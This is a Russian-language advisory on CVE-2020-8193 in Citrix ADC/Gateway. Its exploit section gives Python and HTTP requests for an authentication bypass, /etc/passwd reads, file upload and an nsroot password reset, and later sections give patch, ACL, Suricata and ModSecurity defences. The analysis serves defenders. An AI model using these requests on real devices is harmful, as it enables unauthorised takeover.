
Уязвимость BDU:2023-00728 (CVE-2020-8193) Citrix ADC
Уязвимость BDU:2023-00728 (CVE-2020-8193) неправильного контроля доступа в Citrix ADC/Gateway/SD-WAN WANOP, позволяющая неаутентифицированному удалённому злоумышленнику получать доступ к защищённым URL-эндпоинтам. Это приводит к нарушению конфиденциальности и целостности данных.
Анализ уязвимости
Уровень опасности: 6.5 (Средний)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
-
AV:N (Вектор атаки: Сетевой) - Эксплуатация возможна через сеть без физического доступа
-
AC:L (Сложность атаки: Низкая) - Не требует специальных условий эксплуатации
-
PR:N (Уровень привилегий: Не требуется) - Аутентификация не требуется
-
UI:N (Вовлечение пользователя: Не требуется) - Взаимодействие с пользователем не требуется
-
S:U (Область воздействия: Неизмененная) - Уязвимость не затрагивает другие компоненты
-
C:L (Влияние на конфиденциальность: Низкое) - Частичное раскрытие информации
-
I:L (Влияние на целостность: Низкое) - Частичное изменение данных
-
A:N (Влияние на доступность: Отсутствует) - Не влияет на доступность системы
Условия эксплуатации
-
Сетевой доступ к уязвимому устройству (порт 80/443).
-
Использование уязвимых версий.
-
Не требуется: аутентификация, специальные привилегии или взаимодействие с пользователем.
Уязвимые версии
- Citrix ADC от 13.0 до 13.0-58.30
- Citrix ADC от 12.1 до 12.1-57.18
- Citrix ADC от 12.0 до 12.0-63.21
- Citrix ADC от 11.1 до 11.1-64.14
- Citrix ADC от 10.5 до 10.5-70.18
- Citrix Gateway от 13.0 до 13.0-58.30
- Citrix Gateway от 12.1 до 12.1-57.18
- Citrix Gateway от 12.0 до 12.0-63.21
- Citrix Gateway от 11.1 до 11.1-64.14
- Citrix Gateway от 10.5 до 10.5-70.18
- Citrix SD-WAN WANOP от 11.1 до 11.1.1a
- Citrix SD-WAN WANOP от 11.0 до 11.0.3d
- Citrix SD-WAN WANOP от 10.2 до 10.2.7
Технический механизм уязвимости
Уязвимость возникает из-за ошибки в процедуре аутентификации при обработке запросов к API. Система неправильно проверяет авторизацию для эндпоинтов:
-
/pcidss/report
-
/menu/ss
-
/menu/stc
-
/rapi/filedownload
-
/rapi/uploadtext
Злоумышленник может обойти проверки подлинности, манипулируя заголовками X-NITRO-USER
, X-NITRO-PASS
и параметрами сессии.
Анализ эксплоитов
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2020-8193.
1. Чтение произвольных файлов (LFI)
Ключевые этапы атаки:
# Создание "ломанной" сессии def create_session(base_url, session): headers = {'X-NITRO-USER': random_string(), 'X-NITRO-PASS': random_string()} data = '<appfwprofile><login></login></appfwprofile>' session.post(f"{base_url}/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1", headers=headers, data=data, verify=False)
Вредоносный запрос:
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 X-NITRO-USER: Cu59z69j X-NITRO-PASS: vgR7HPQ0 Content-Type: application/xml <appfwprofile><login></login></appfwprofile>
Изменение сессии:
def fix_session(base_url, session): session.get(f"{base_url}/menu/ss?sid=nsroot&username=nsroot&force_setup=1")
Получение ключа rand:
def get_rand(base_url, session): r = session.get(f"{base_url}/menu/stc") # Извлечение rand из JavaScript в ответе for line in r.text.split('\n'): if 'var rand =' in line: return line.split('"')[1]
Чтение файлов:
def do_lfi(base_url, session, rand): headers = {'rand_key': rand, 'X-NITRO-USER': random_string()} session.post(f"{base_url}/rapi/filedownload?filter=path:{quote('/etc/passwd')}", headers=headers, data='<clipermission></clipermission>', verify=False)
Пример успешного ответа:
HTTP/1.1 406 Not Acceptable Content-Disposition: attachment;filename="passwd" Accept-Ranges: bytes root:*:0:0:Charlie &:/root:/usr/bin/bash nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
2. Remote Code Execution (RCE)
Дополнительные этапы:
Чтение сессионных файлов:
POST /rapi/filedownload?filter=path:%2Fvar%2Fnstmp HTTP/1.1 rand_key: 181103693.1594540472072128 X-NITRO-USER: N6RRf049 <clipermission></clipermission>
Загрузка файлов (Getshell):
POST /rapi/uploadtext HTTP/1.1 rand_key: 845810655.1594556994263502 Cookie: SESSID=6c5c31300c22b200f0273e7a13be47cb object={"uploadtext":{"filedir":"/tmp/","filedata":"123456","filename":"test.txt"}}
Изменение пароля администратора:
PUT /nitro/v1/config/systemuser HTTP/1.1 rand_key: 845810655.1594556994263502 {"systemuser":{"username":"nsroot","password":"boiboi"}}
Последствия успешной эксплуатации
-
Раскрытие конфиденциальной информации:
-
Чтение /etc/passwd, shadow, конфигурационных файлов
-
Доступ к сессионным данным (session files)
-
Получение системной информации
-
-
Полная компрометация системы:
-
Изменение паролей администраторов
-
Создание новых пользователей с правами root
-
Загрузка и выполнение произвольных файлов
-
Получение доступа к оболочке (shell) через SSH
-
-
Персистентный доступ:
-
Установка бэкдоров
-
Кража SSL-сертификатов
-
Доступ к внутренней сети
-
Методы защиты
1. Обновление ПО
Установить исправленные версии:
-
Citrix ADC: 13.0-58.30+, 12.1-57.18+, 11.1-64.14+
-
Citrix Gateway: 13.0-58.30+, 12.1-57.18+
-
SD-WAN WANOP: 11.1.1a+, 11.0.3d+
2. Конфигурационные меры
-
Отключить неиспользуемые API-эндпоинты
-
Ограничить доступ к панели управления по IP:
add ns acl block_unauthorized ALLOW -srcIP = 192.168.1.0/24 -destPort 443
-
Включить многофакторную аутентификацию
3. Правила для WAF/IPS
Для Suricata (IPS):
alert http $EXTERNAL_NET any -> $HOME_NET any \ (msg:"CITRIX CVE-2020-8193 - LFI Attempt"; \ flow:to_server,established; \ content:"/rapi/filedownload"; \ content:"filter=path"; nocase; \ pcre:"/\/etc\/passwd|\/var\/nstmp/i"; \ classtype:attempted-user; sid:2020008193; rev:1;) alert http $EXTERNAL_NET any -> $HOME_NET any \ (msg:"CITRIX CVE-2020-8193 - Session Manipulation"; \ flow:to_server,established; \ content:"/pcidss/report"; \ content:"sid=loginchallengeresponse1requestbody"; \ content:"username=nsroot"; \ classtype:web-application-attack; sid:2020008194; rev:1;)
Для ModSecurity (WAF):
SecRule REQUEST_URI "@contains /rapi/filedownload" \ "id:1001,phase:2,deny,msg:'Citrix ADC Path Traversal Attempt',\ chain" SecRule ARGS:filter "@rx path:.*?(etc|passwd|shadow|nsconfig)"
4. Мониторинг и аудит
-
Регулярный анализ логов доступа к URL:
/rapi/filedownload /pcidss/report /menu/stc
-
Алерты на множественные 406 ошибки
-
Контроль изменений системных пользователей
Заключение
BDU:2023-00728 (CVE-2020-8193) представляет критическую угрозу для инфраструктур Citrix, позволяя неаутентифицированным злоумышленникам получать полный контроль над системами. Эксплуатация осуществляется через цепочку из 4-5 HTTP-запросов, обходящих механизмы аутентификации. Наибольшая опасность заключается в возможности чтения произвольных файлов и выполнения команд через комбинацию LFI и API-манипуляций. Защита требует комплексного подхода: немедленное обновление ПО, настройка ACL, внедрение правил WAF/IPS и постоянный мониторинг подозрительной активности.
